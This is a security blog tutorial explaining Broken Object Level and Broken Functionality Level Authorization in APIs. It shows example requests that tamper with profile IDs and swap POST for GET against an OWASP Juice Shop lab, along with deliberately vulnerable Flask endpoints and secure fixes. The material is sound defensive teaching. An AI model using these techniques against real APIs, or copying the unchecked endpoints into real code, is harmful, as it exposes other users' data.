Skip to main content

Broken Object Level Authorization Vs. Broken Functionality Level Authorization | API Hacking

·2421 words·12 mins
Medusa0xf
Author
Medusa0xf
Table of Contents

In this blog, we will explore two significant security vulnerabilities: Broken Object Level Authorization (BOLA) and Broken Functionality Level Authorization (BFLA) in APIs. We will discuss these topics:


  1. Broken Object Level Authorization
  • Examples with explanation
  • Mitigation
  1. Broken Functionality Level Authorization
  • Examples with explanation
  • Mitigation
  1. How to prevent BOLA and BFLA

  2. What is difference between BOLA and BFLA?

  3. Conclusion

What is Broken Object Level Authorization?
#

Broken Object Level Authorization (BOLA) refers to a security vulnerability where the API allows unauthorized access to specific objects or resources. This means that an attacker can manipulate the API to access or modify data they should not have permission to. For example, a user may be able to view or edit another user’s private information or perform actions reserved for privileged users by exploiting the API’s vulnerabilities. BOLA vulnerabilities in an API can lead to unauthorized access, data breaches, and potential misuse of the API’s functionality.

Example of Broken Object Level Authorization
#

To provide you with an example of an API vulnerable to Broken Object Level Authorization (BOLA), let’s consider a simplified scenario where we have an API for managing user profiles. In this vulnerable API, there is a lack of proper authorization checks, allowing users to perform actions they shouldn’t be able to.

Classic BOLA example:
#

API Endpoint: /api/profiles/{Id}

Here are some example requests and responses for this vulnerable API:

Scenario 1 — User Profile Retrieval (GET Request):

  1. Request:
  • HTTP Method: GET
  • URL: /api/profiles/123 (User with ID 123)
GET /api/profiles/456 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer xyz
Origin: http://example.com
Connection: close
Referer: http://example.com
Cookie: abc

In this scenario, the user sends a GET request to retrieve their own profile, which is allowed.

  1. Response:
  • Status Code: 200 OK
  • JSON Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 71

{
  "id": 456,
  "username": "jane_smith",
  "email": "jane.smith@example.com",
  "role": "user"
}

When the server receives this request, it typically performs the following steps:

  1. It checks the Authorization header to verify the authenticity of the token. In this case, it’s using the Bearer token “xyz.”
  2. It verifies that the token is valid and has the necessary permissions to access the resource specified in the endpoint, which is the user profile with ID 456.
  3. If the token is valid and authorized, the server retrieves the user profile with ID 456 and sends it as a response (usually in JSON format) to the client.

Scenario 2 — Unauthorized User Profile Retrieval (GET Request):

Change the id to that of a different user or perform brute force if it’s predictable, in this case id value is changed from 456 to 457.

To test BOLA, simply create a second account and use its ID in another account session.

GET /api/profiles/457 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer xyz
Origin: <http://example.com>
Connection: close
Referer: <http://example.com>
Cookie: abc

Response By changing the ID, we were able to access information related to another user, which we shouldn’t have been able to do.

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 71
{
  "id": 457,
  "username": "victim",
  "email": "victim@example.com",
  "role": "user"
}

Here’s an example of vulnerable backend code that demonstrates Broken Object Level Authorization (BOLA) in this case:

from flask import Flask, request, jsonify

app = Flask(__name__)

# Endpoint for fetching user profile
@app.route('/profile/<id>', methods=['GET'])
def get_profile(id):
    # Fetch and return the user profile
    profile = fetch_user_profile(id)
    return jsonify(profile)

def fetch_user_profile(id):
    # Logic to fetch user profile from the database
    pass

if __name__ == '__main__':
    app.run()

In the code snippet, there is no check for a valid bearer token or any authorization mechanism. Any user, regardless of their authentication status, can fetch any user profile by simply changing the ID in the endpoint. To mitigate this vulnerability, you should implement proper authorization checks to restrict access to profiles based on user identity.

Mitigation (Secure Code):
#

from flask import Flask, request, jsonify
app = Flask(__name__)
# Endpoint for fetching user profile
@app.route('/profile/<id>', methods=['GET'])
def get_profile(id):
    # Get the bearer token from the request header
    bearer_token = request.headers.get('Authorization')
    # Validate the bearer token and check if it matches the user ID
    if validate_bearer_token(bearer_token, id):
        # Fetch and return the user profile
        profile = fetch_user_profile(id)
        return jsonify(profile)
    else:
        # Unauthorized access
        return jsonify({'message': 'Unauthorized'}), 401
def validate_bearer_token(token, id):
    # Logic to validate the bearer token and check if it matches the user ID
    # Return True if valid, False otherwise
    pass
def fetch_user_profile(id):
    # Logic to fetch user profile from the database
    pass
if __name__ == '__main__':
    app.run()

In this secure version, the code includes a validation step for the bearer token and checks if it matches the user ID. Only users with proper authorization and a valid bearer token that matches their own ID will be able to fetch their own profile data. Unauthorized access will result in a 401 Unauthorized response.

What is Broken Functionality Level Authorization?
#

Broken Functionality Level Authorization refers to a security vulnerability where an application fails to properly enforce user permissions or access controls at different levels of functionality. This means that an attacker can gain unauthorized access to certain features or actions within the application that they should not have access to. This vulnerability can occur when there are insufficient checks or validations in place to ensure that users are only able to access the appropriate functionality based on their assigned roles or permissions.

Example of Broken Functionality Level Authorization
#

An example of Broken Functionality Level Authorization is when a user with a basic role, such as a regular customer, is able to access administrative functions within an application. This could allow them to modify sensitive data, delete records, or perform other actions that are reserved for privileged users only. This vulnerability can lead to unauthorized access, data breaches, and potential misuse of the application’s functionality.

Lab: OWASP Juice Shop

Example request and responses
#

API Endpoint: /api/feedback

This endpoint allows user to submit a feedback through POST request.

Request to Provide Feedback (POST Request):

POST /api/Feedbacks/ HTTP/1.1
Host: 10.10.34.218
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
Content-Type: application/json
Content-Length: 89
Origin: [<http://10.10.34.218>](<http://10.10.34.218/>)
Connection: close
Referer: <http://10.10.34.218/>
Cookie: io=o6ut3yUMxyjabtPrAAAA; language=en; token=eyJ0eXAiOiJKV
{"UserId":18,
"captchaId":1,
"captcha":"17",
"comment":"good (***t_a@gmail.com)",
"rating":4}

Response to Provide Feedback (Successful):

HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
Location: /api/Feedbacks/8
Content-Type: application/json; charset=utf-8
Content-Length: 173
ETag: W/"ad-rJHsj9GPYufxO3riYOWb5WzTfNk"
Vary: Accept-Encoding
Date: Sun, 15 Oct 2023 15:51:41 GMT
Connection: close
{
"status":"success",
"data":{
   "id":8,
   "UserId":18,
   "comment":"good (***t_a@gmail.com)",
   "rating":4,
   "updatedAt":"2023-10-15T15:51:41.901Z",
   "createdAt":"2023-10-15T15:51:41.901Z"
  }
}

The response contains the feedback submitted, along with the user ID and rating of the user who submitted it which is the intended functionality.

The response contains the feedback submitted, along with the user ID and rating of the user who submitted it which is the intended functionality

Here’s a general overview of how the server might handle this request:

  1. Authentication: The server receives the request and checks the provided Bearer token (JWT token) in the “Authorization” header. It verifies the token’s authenticity and whether it’s valid.
  2. Authorization: If the token is valid, the server extracts the user information from the token, such as the user’s ID. In this case, the user’s ID is 18, as indicated in the payload.
  3. Access Control: The server uses the user’s ID to determine whether the user has the appropriate permissions to perform the requested action. In this case, the action is submitting feedback.
  4. Feedback Submission: If the user is authorized to submit feedback (based on their role or permissions), the server processes the feedback data in the JSON payload, which includes the “UserId” and other feedback details.
  5. User Details Fetch: After processing the feedback, the server can choose to retrieve additional user details using the provided “UserId” (which is 18 in this case). This could involve querying a database to fetch the user’s information, such as their name, email, and other profile details.
  6. Response: The server sends a response back to the client, which include a confirmation of the feedback submission and the user’s details.

Request to View All Feedback (BFLA Vulnerability):

Here’s where the BFLA vulnerability occurs. A user can manipulate the HTTP method to change the request from POST to GET, allowing them to view the feedback of all users, which should be restricted to administrators.

GET /api/Feedbacks/ HTTP/1.1
Host: 10.10.34.218
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
Content-Type: application/json
Content-Length: 89
Origin: [<http://10.10.34.218>](<http://10.10.34.218/>)
Connection: close
Referer: <http://10.10.34.218/>
Cookie: io=o6ut3yUMxyjabtPrAAAA; language=en; token=eyJ0eXAiOiJKV
{"UserId":18,
"captchaId":1,
"captcha":"17",
"comment":"good (***t_a@gmail.com)",
"rating":4}

Response to View All Feedback (BFLA Vulnerability):

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
Content-Range: items 0-7/8
Content-Type: application/json; charset=utf-8
ETag: W/"630-d0Wfvn7A5BQ8cDoceKy3VtVnQ90"
Vary: Accept-Encoding
Date: Sun, 15 Oct 2023 15:56:27 GMT
Connection: close
Content-Length: 1584

{
  "status": "success",
  "data": [
    {
      "id": 1,
      "comment": "I love this shop! Best products in town! Highly recommended! (***in@juice-sh.op)",
      "rating": 5,
      "createdAt": "2023-10-15T15:36:55.708Z",
      "updatedAt": "2023-10-15T15:36:55.708Z",
      "UserId": 1
    },
    {
      "id": 2,
      "comment": "Great shop! Awesome service! (***@juice-sh.op)",
      "rating": 4,
      "createdAt": "2023-10-15T15:36:55.798Z",
      "updatedAt": "2023-10-15T15:36:55.798Z",
      "UserId": 2
    },
    {
      "id": 3,
      "comment": "Nothing useful available here! (***der@juice-sh.op)",
      "rating": 1,
      "createdAt": "2023-10-15T15:36:55.851Z",
      "updatedAt": "2023-10-15T15:36:55.851Z",
      "UserId": 3
    },
    {
      "id": 4,
      "comment": "Incompetent customer support! Can't even upload photo of broken purchase!<br /><em>Support Team: Sorry, only order confirmation PDFs can be attached to complaints!</em> (anonymous)",
      "rating": 2,
      "createdAt": "2023-10-15T15:37:05.747Z",
      "updatedAt": "2023-10-15T15:37:05.747Z",
      "UserId": null
    },
    {
      "id": 5,
      "comment": "This is <b>the</b> store for awesome stuff of all kinds! (anonymous)",
      "rating": 4,
      "createdAt": "2023-10-15T15:37:05.747Z",
      "updatedAt": "2023-10-15T15:37:05.747Z",
      "UserId": null
    },
    {
      "id": 6,
      "comment": "Never gonna buy anywhere else from now on! Thanks for the great service! (anonymous)",
      "rating": 4,
      "createdAt": "2023-10-15T15:37:05.827Z",
      "updatedAt": "2023-10-15T15:37:05.827Z",
      "UserId": null
    },
    {
      "id": 7,
      "comment": "Keep up the good work! (anonymous)",
      "rating": 3,
      "createdAt": "2023-10-15T15:37:05.828Z",
      "updatedAt": "2023-10-15T15:37:05.828Z",
      "UserId": null
    },
    {
      "id": 8,
      "comment": "good (***t_a@gmail.com)",
      "rating": 4,
      "createdAt": "2023-10-15T15:51:41.901Z",
      "updatedAt": "2023-10-15T15:51:41.901Z",
      "UserId": 18
    }
  ]
}

This represents a Broken Functionality Level Authorization vulnerability because the user can perform an action (viewing all feedback) they shouldn’t be able to perform.

What just happened?
#

The cause of this Broken Functionality Level Authorization (BFLA) vulnerability is the lack of proper access controls in the backend code. In this example, the backend code does not enforce proper access controls to restrict users from accessing functionality that they shouldn’t have access to.

Here’s an example of vulnerable backend code that demonstrates the BFLA vulnerability:

@app.route('/api/Feedbacks/', methods=['GET'])
def view_all_feedbacks():
    # Inadequate authorization checks
    feedbacks = get_all_feedbacks_from_database()
    return jsonify(feedbacks)

In this code snippet, the view_all_feedbacks() endpoint allows any user to access and view all feedbacks, regardless of their role or permissions. The lack of proper authorization checks enables unauthorized users to perform this action.

To mitigate this vulnerability, the backend code should include proper authorization checks. For example, it should verify if the user making the request has the necessary permissions, such as being an administrator, before allowing access to view all feedbacks.

Here’s the secure code:

# Function to get the user's role (this would involve authentication)
def get_user_role():
    user = request.headers.get("Authorization")
    return user_roles.get(user, "guest")  # Default to "guest" role for unauthenticated users

# Middleware to check user authentication and authorization
def authenticate_and_authorize():
    user_role = get_user_role()

    # For non-admin users, only POST requests for feedback submission are allowed
    if user_role != "admin" and request.method != "POST":
        return False

    return True

# Endpoint to retrieve all feedbacks (secure code)
@app.route("/api/feedbacks", methods=["GET"])
def get_feedbacks():
    if not authenticate_and_authorize():
        return jsonify({"message": "Unauthorized access."}), 403

    return jsonify(feedback_data)
  • The get_user_role function retrieves the user’s role based on the provided Authorization header.
  • The authenticate_and_authorize function checks the user’s role and authorizes access. Admin users can access both GET and POST requests, while non-admin users can only access POST requests.
  • The /api/feedbacks endpoint for GET requests enforces proper access control by calling the authenticate_and_authorize function. If the user is not authorized, it returns a 403 (Forbidden) response.

How to prevent BOLA and BFLA
#

  1. Authentication Tokens:
  • Generate a token upon user login.
  • Include the token in subsequent requests to prove user identity.
  • Validate and decrypt the token on the server to verify user permissions.
  1. Session Cookies:
  • Set a session cookie upon user login.
  • Include the cookie in subsequent requests.
  • Use the session identifier to retrieve user session data on the server.
  • Verify user identity and permissions based on the session data.

Remember to validate tokens and cookies on the server, ensure secure session cookies with HttpOnly and Secure flags, regularly rotate and refresh tokens, and implement strict access controls.

  1. Error Handling: Implement proper error handling and response codes. If a user without the necessary permissions attempts to view all feedback, respond with a 403 Forbidden status code to indicate access denial.

What is the difference between BOLA and BFLA?
#

Both “Broken Object Level Authorization” (BOLA) and “Broken Functionality Level Authorization” (BFLA) are similar vulnerabilities related to unauthorized access, but they differ in what they expose and how the access is gained.

Here’s a clearer distinction:

Broken Object Level Authorization (BOLA):

  • In BOLA, an attacker typically manipulates an identifier, such as a URL parameter or object reference, to access or modify specific objects or data.
  • The focus is on individual objects or data elements within the application (e.g., user profiles, documents, orders).
  • The vulnerability allows unauthorized access to a specific object’s data.

Broken Functionality Level Authorization (BFLA):

  • In BFLA, an attacker exploits a vulnerability to access or use functionality or features of an application that should be restricted to a different role or level of privilege.
  • The focus is on gaining access to functionality or features of the application that are meant for specific roles (e.g., admin functions).
  • The vulnerability allows unauthorized access to features or functions, not necessarily specific objects or data.

References: https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls

https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html

https://cwe.mitre.org/data/definitions/285.html

Conclusion
#

In this blog, we explored Broken Object Level Authorization (BOLA) and Broken Functionality Level Authorization (BFLA) vulnerabilities. BOLA allows unauthorized access to specific objects or resources through an API, while BFLA fails to enforce proper user permissions or access controls.

To mitigate these vulnerabilities, it is crucial to implement proper authorization checks, role-based access control, and authentication mechanisms such as authentication tokens and session cookies. By addressing BOLA and BFLA, organizations can protect sensitive data, ensure user privacy, and maintain the integrity of their APIs.

Thank you for Reading!